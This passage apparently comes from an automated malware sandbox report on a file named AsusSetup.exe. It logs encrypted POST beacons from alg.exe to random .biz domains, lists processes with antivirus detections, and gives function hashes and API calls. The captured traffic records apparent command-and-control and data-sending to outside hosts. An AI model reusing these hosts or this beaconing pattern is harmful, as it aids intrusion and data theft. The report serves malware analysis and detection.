Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:50.053610086 CET	359	OUT	POST /rtjiyksbemvook HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:50.053637028 CET	778	OUT	Data Raw: ad 3c 8f c2 11 1f f4 a4 fe 02 00 00 cc 19 b2 ee bf d7 45 60 4f 1b 80 93 54 01 39 74 f5 e9 4d 88 0e 3c 1c d0 50 ad 85 2e 9e b6 1a 0b c3 07 3e ed c4 5f 2f 24 9e 2f 11 e6 cd 14 20 2b 48 82 90 fb fe da c8 7e 23 7a f2 9f ff 52 1b 65 93 56 af 92 f0 08 Data Ascii: <E`OT9tM<P.>_/$/ +H~#zReV&wusQi Nx57g0K,U?[IBe\|,?8(bYXfR \cr<i[2nQOoR!]7!8LtVWO*y')p@-1{s#E
Oct 28, 2024 16:52:50.819294930 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a4769efbc79841a30b2ce72ccae5ef3b\|155.94.241.188\|1730130770\|1730130770\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	60006	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:50.878051043 CET	350	OUT	POST /gidkqlg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:50.878078938 CET	778	OUT	Data Raw: 0a ba 40 5f 9f fc be 5a fe 02 00 00 7e 41 2e 80 7e ba 0e 31 be 91 4f 47 81 2b b7 40 40 7e ad a5 db 2d d9 e3 45 ad bf 26 9a 1d 32 c2 9a 1d 17 b6 1c 75 07 25 22 04 c2 9a 80 b9 52 d3 17 59 1d 87 d8 57 05 d7 f0 ba 74 65 c9 87 03 fc 8a 94 ad 0b 2d 02 Data Ascii: @_Z~A.~1OG+@@~-E&2u%"RYWte-ek\|C,&xqId~pY5_GZU:TBE8%+{a#6Y$!rLk$?K'K<-<Y]>WnV?XQ&=
Oct 28, 2024 16:52:52.319886923 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1566c29bdb14d1b3e9c7fe5e9e8a2995\|155.94.241.188\|1730130772\|1730130772\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	60007	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:52.344511986 CET	345	OUT	POST /oiol HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:52.344528913 CET	778	OUT	Data Raw: 93 54 61 7a e3 3e 55 c8 fe 02 00 00 dc 71 5b 55 d5 80 19 35 16 c1 cd 58 12 3f c3 ac e7 71 23 bc ca e1 81 99 d4 21 8e a0 26 3e 77 91 94 9a 43 fd 89 73 60 fd 67 71 2c fa cd 06 8b a5 b6 8e 9c 74 2b ae 0f d7 40 7a df 65 f7 ae df e3 a5 ca 68 fd 28 3c Data Ascii: Taz>Uq[U5X?q#!&>wCs`gq,t+@zeh(<rH4W[:")pS:AY(^Ev?,lur;_wD&wzi}Ono6Zk`BuGh*7zYs!%YXA
Oct 28, 2024 16:52:53.174709082 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=908e3d99f5966c9a7d0a98e4515e412b\|155.94.241.188\|1730130773\|1730130773\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	60008	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:53.628225088 CET	354	OUT	POST /clexsjcapi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:53.628277063 CET	778	OUT	Data Raw: 1f 1f 88 ff b6 a7 46 04 fe 02 00 00 79 ff 04 25 dc 29 35 15 0a ed eb 0b fd 61 1f 4c 45 c2 9a 4b f1 2e 97 f5 49 b7 42 4a a7 79 b3 dd e0 3f 59 8e 25 64 42 b3 8f 27 da 72 0e 68 6d 96 a9 29 ec 9a cd c9 8a 59 56 93 f0 17 e7 25 4b b0 1f 44 48 b2 16 c6 Data Ascii: Fy%)5aLEK.IBJy?Y%dB'rhm)YV%KDHkLyT4zE .+DI@: "Mo67cWc%KS*l)E8)+eMip}tMUnRHkpfdf;i]Q=Q4w!+d3KA-R`zP<I^<,
Oct 28, 2024 16:52:54.304781914 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3543659cc3d3a9c95d4db311b00fa683\|155.94.241.188\|1730130774\|1730130774\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	60009	172.234.222.143	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:54.326935053 CET	349	OUT	POST /inwjou HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:54.326935053 CET	778	OUT	Data Raw: e5 77 7e 27 21 bd fd f7 fe 02 00 00 b2 00 18 47 f7 32 15 52 5a 31 f2 f6 10 df a7 89 8c d0 05 7b 7c 9c 34 fd 53 9f 5e e7 a8 74 bd 93 2f e6 7a 94 12 f2 82 bb 3c 37 3c eb 31 ed b3 81 83 b4 cc 62 9a aa 8d a3 92 09 9d a6 26 7e 81 29 0b 3b e2 4b 63 ca Data Ascii: w~'!G2RZ1{\|4S^t/z<7<1b&~);Kcv.ZLW0(18@xCX(qi28GWgp4XHjb;F6IDlaNs3r,0r;(fAvI-&z,2$&(`4h39"g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	60010	172.234.222.143	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:55.000348091 CET	349	OUT	POST /ejhxrp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:55.000415087 CET	778	OUT	Data Raw: 75 0c 29 5b 99 11 03 4e fe 02 00 00 20 37 05 fb ba 6c 27 79 03 95 cd 5c a4 73 ab 17 7d da 61 b8 45 50 42 99 2c 0a c7 e4 e9 19 9e f0 60 79 20 f8 fc c0 ba 4f 8c 3b 01 7b 33 f9 57 65 30 0e e4 7b 89 e3 dd a1 58 27 be 06 97 ae 4c 2d c6 b7 49 8b 2f 2c Data Ascii: u)[N 7l'y\s}aEPB,`y O;{3We0{X'L-I/,\|([@#)wDI(DzSEhNFeL^BZ-RdD.'LIYvU%^atc _kX!MV"2Wl\[yLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	60011	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:55.959419012 CET	346	OUT	POST /kt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:55.959434032 CET	778	OUT	Data Raw: d1 71 d7 c2 df 5a 20 1c fe 02 00 00 72 62 ae b5 b2 7c 8c fb 6b cc 5c ee 86 34 f2 9a 8b 6b b0 21 2e 56 7b ba 4b 87 a1 83 0c af 96 70 77 45 14 ee d1 38 ca 18 5c dc 8a c8 0f 82 1c ec 83 5c 32 07 2f 85 4f 04 72 8e e3 74 18 54 ea 4d 91 e8 23 cd 66 4b Data Ascii: qZ rb\|k\4k!.V{KpwE8\\2/OrtTM#fK:]2XF!XJ0=gv4'gjXGPgo0LL{s\|&&-@n'wP0DBzkF(^op\|\{sz9ucPF-yy~61 &^!-0GV9L
Oct 28, 2024 16:52:57.789963007 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cc06133a1e38341c1b3ccfce878420dd\|155.94.241.188\|1730130777\|1730130777\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 28, 2024 16:52:57.789998055 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cc06133a1e38341c1b3ccfce878420dd\|155.94.241.188\|1730130777\|1730130777\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	60012	82.112.184.197	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:57.835853100 CET	355	OUT	POST /ctmnxqregqafw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:57.835887909 CET	778	OUT	Data Raw: bc 1f f0 bb 13 94 66 1c fe 02 00 00 45 52 c8 29 66 49 d6 96 cc 20 fb 17 cb f0 4c 1f 5d ce 8f 5a bb b5 ef ac e7 9e 83 ec b5 3c 95 8a 2c 03 7b b5 83 93 62 a9 1b f4 4d 47 db f0 b3 10 92 60 d2 88 e5 b8 5d ea 98 61 96 c1 ed cb 27 c7 5a 71 7d 69 e5 75 Data Ascii: fER)fI L]Z<,{bMG`]a'Zq}iuA2X \|+q ?'f.faNmhg:DthP.oE!Uo:t<mJ;d^G#Zm/%flC:~G&U${Gl*$Mnw^

Target ID:	0
Start time:	11:49:56
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\AsusSetup.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\AsusSetup.exe"
Imagebase:	0x140000000
File size:	5'251'072 bytes
MD5 hash:	13BF2819401D2F983FFF90C1960831B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:49:56
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'445'888 bytes
MD5 hash:	828741995F05BE2FD6B071628F96F6B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	11:49:57
Start date:	28/10/2024
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x140000000
File size:	1'381'376 bytes
MD5 hash:	332F38054E08BAEC551611993C8D1317
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	11:49:57
Start date:	28/10/2024
Path:	C:\Windows\System32\drivers\AppVStrm.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	138'056 bytes
MD5 hash:	BDA55F89B69757320BC125FF1CB53B26
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:49:57
Start date:	28/10/2024
Path:	C:\Windows\System32\drivers\AppvVemgr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	174'408 bytes
MD5 hash:	E70EE9B57F8D771E2F4D6E6B535F6757
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:49:57
Start date:	28/10/2024
Path:	C:\Windows\System32\drivers\AppvVfs.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	154'952 bytes
MD5 hash:	2CBABD729D5E746B6BD8DC1B4B4DB1E1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	11:49:57
Start date:	28/10/2024
Path:	C:\Windows\System32\AppVClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AppVClient.exe
Imagebase:	0x140000000
File size:	1'348'608 bytes
MD5 hash:	2148D94316FBFFE84543113C6A3C1FA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:49:59
Start date:	28/10/2024
Path:	C:\Windows\System32\FXSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\fxssvc.exe
Imagebase:	0x140000000
File size:	1'242'624 bytes
MD5 hash:	5E3D1E384655DE6087F47BBB3A38FB17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:50:00
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Imagebase:	0x140000000
File size:	2'354'176 bytes
MD5 hash:	02A39F6A65834451980F9B1EE3EA62AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:50:01
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x140000000
File size:	1'512'448 bytes
MD5 hash:	8692348A40AAA0C027003BE9DA09E432
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	98%
Signature Coverage:	1.5%
Total number of Nodes:	202
Total number of Limit Nodes:	18

Executed Functions

Function 01FD5346 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 908c24f0ecee5e6f2dddf1d8173b17ebe70cd201337ab44e3e024085c5e0ca95
Instruction ID: 4140edc9ed4407511f6d591b39bddada7e71295da6bff5ac8270af6427762992
Opcode Fuzzy Hash: 908c24f0ecee5e6f2dddf1d8173b17ebe70cd201337ab44e3e024085c5e0ca95
Instruction Fuzzy Hash: B941F293A0D691CFE72A422C58743B17EB39B13262F4D02979587CB1F2E99B48548367

Function 01FD81C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3c2c3ebb38d012564697c7b13eda330ccdc57883374f0f115d01db4afc1a989
Instruction ID: d677dd05c89b7f786ca0ba246f6b9da6be44daed0d7c7e35bfef289e7c136b93
Opcode Fuzzy Hash: c3c2c3ebb38d012564697c7b13eda330ccdc57883374f0f115d01db4afc1a989
Instruction Fuzzy Hash: 4CB1173190CA45CBEB2ACF1D8885679BBE3FF95354F1C8259D88B87166DA379802C352

Function 01FD5B8F Relevance: 4.7, APIs: 3, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32 ref: 01FD5D59

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: ce3f9119a031061baa606f21087281148c21c7d9cee102b95e9d1de0711b0121
Instruction ID: 38a3e544e1c6e992fa2c63a2fb77311adc22f47edc70719e980b594e9b57dc31
Opcode Fuzzy Hash: ce3f9119a031061baa606f21087281148c21c7d9cee102b95e9d1de0711b0121
Instruction Fuzzy Hash: DD41D922A0CE09CFEB69973C98687397AF3EB55311F4C036AD507CB1B1DE6784068762

Function 01FD5D22 Relevance: 4.5, APIs: 3, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32 ref: 01FD5CD9
CloseHandle.KERNEL32 ref: 01FD5CDE
CreateThread.KERNEL32 ref: 01FD5D59

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: eea8b3599f103d4e574ebf5c6b1afbd860f4798a5f425f9dafef797addc356b6
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: 5FF0F622E1CD05C5EB2E873C886933A75F3A78A121F5C071FC567CA1F0DA2741028265

Function 01FD94DE Relevance: 3.2, APIs: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32 ref: 01FD964E

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2e225c41a0938c32b06857d4df1b06a163d03e96ae6c5dbee083fbf99e02f96e
Instruction ID: 19aeead9cf9cc57a85212553ac71f2c3860f09da5432d8476a98ad12d67bacb5
Opcode Fuzzy Hash: 2e225c41a0938c32b06857d4df1b06a163d03e96ae6c5dbee083fbf99e02f96e
Instruction Fuzzy Hash: 0441E522E0C742CBEB399AEC885167A77D3BBC461CF8D462ED167C2191DAE788018743

Function 01FD6149 Relevance: 3.1, APIs: 2, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32 ref: 01FD6164

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: dcd7d6061518b5e23cc30ba14f8cd645cc1f06b40db9b23a040c2072c8923b03
Instruction ID: 95eecba4fa708119a0501cceb86e4bd640af147089680334923987f5823312c8
Opcode Fuzzy Hash: dcd7d6061518b5e23cc30ba14f8cd645cc1f06b40db9b23a040c2072c8923b03
Instruction Fuzzy Hash: 53213433A0C648CAFB655B3C98483357B93F78973AF0C432BD456C21A3DE6B91028342

Function 01FD8B33 Relevance: 3.1, APIs: 2, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 01FD8B3C
SetFilePointerEx.KERNEL32 ref: 01FD8FAE

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 96d675477f5884ca1f21a6f8044b01c34adb70bd1f4ac458339bad4b2e7f88fe
Instruction ID: 9e25c5fc41b92ab76dfbcb6a91d3f38c3cc8d532c7c3cc7d5a1c069573b94e81
Opcode Fuzzy Hash: 96d675477f5884ca1f21a6f8044b01c34adb70bd1f4ac458339bad4b2e7f88fe
Instruction Fuzzy Hash: E3F02221A1CB05DAEB2B836C08A42393A93EBC85E4B0D416AC687C3292CD2748074203

Function 01FD9180 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbf6bd2aa41ab4d748ede1907bad094a449333e7c2c1b9fb22cf0f88fd851f0e
Instruction ID: e940b1cea812b3747d26a32b0143fad6a8b382cacbbb2d09e71037452a67ce0e
Opcode Fuzzy Hash: cbf6bd2aa41ab4d748ede1907bad094a449333e7c2c1b9fb22cf0f88fd851f0e
Instruction Fuzzy Hash: 11514622D0C685CFEB264BFC485817A3BA7BB4322DF0D526AD957C31E7D9E744068222

Function 01FDA380 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a56446c4e470bf6b7c3ee6f36cbd9dcf94501d6e54935f9ea76e47303719afa8
Instruction ID: bb231e60e25399806cf1965930d129c0aa94671bebe2fc87de778d7e6e9d4649
Opcode Fuzzy Hash: a56446c4e470bf6b7c3ee6f36cbd9dcf94501d6e54935f9ea76e47303719afa8
Instruction Fuzzy Hash: ED21E192D0E385CEEB270A3C581C3323FA79BD7018B4C04AAD583CB4A3EA478805825E

Function 01FD919A Relevance: 1.6, APIs: 1, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 01FD919D

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 6cb7926186666219dc51911799e237d0544c923c66407280de76e47373571a50
Instruction ID: a904797715e1d491aa2236d88c79c663f1e8c0e67bee76b6b78702169a0388fd
Opcode Fuzzy Hash: 6cb7926186666219dc51911799e237d0544c923c66407280de76e47373571a50
Instruction Fuzzy Hash: 7001CC22D1E780CFE7271AFD08A90B53F23B94712CB0D81ABD582831B7D4CB05098367

Function 01FD8E1A Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32 ref: 01FD8F47

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f06da06f4a02658f6b5d2c9191a2a2c83fc033361b9e7c3f6dfe859081a38f85
Instruction ID: c28436554801e72dad5b829136d9bf787b9a971075b7daab6efc05bb0c55b1ba
Opcode Fuzzy Hash: f06da06f4a02658f6b5d2c9191a2a2c83fc033361b9e7c3f6dfe859081a38f85
Instruction Fuzzy Hash: D101F4A6D0C788CFD7665B7C48583357FA3AB42288F1D058AD1A6C61A3D6278C068702

Function 01FD8A0E Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32 ref: 01FD8EF1

Memory Dump Source

Source File: 00000000.00000002.2473311426.0000000001FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1fd0000_AsusSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8fb5c28e5d1c9eb1e11ce46e88e0860ba3941c2b0ac46eca638127c2fbbfd38b
Instruction ID: a6e584e95c998f931321999c4e5cb36710a8d2fd236216f8402a607423bb5be4
Opcode Fuzzy Hash: 8fb5c28e5d1c9eb1e11ce46e88e0860ba3941c2b0ac46eca638127c2fbbfd38b
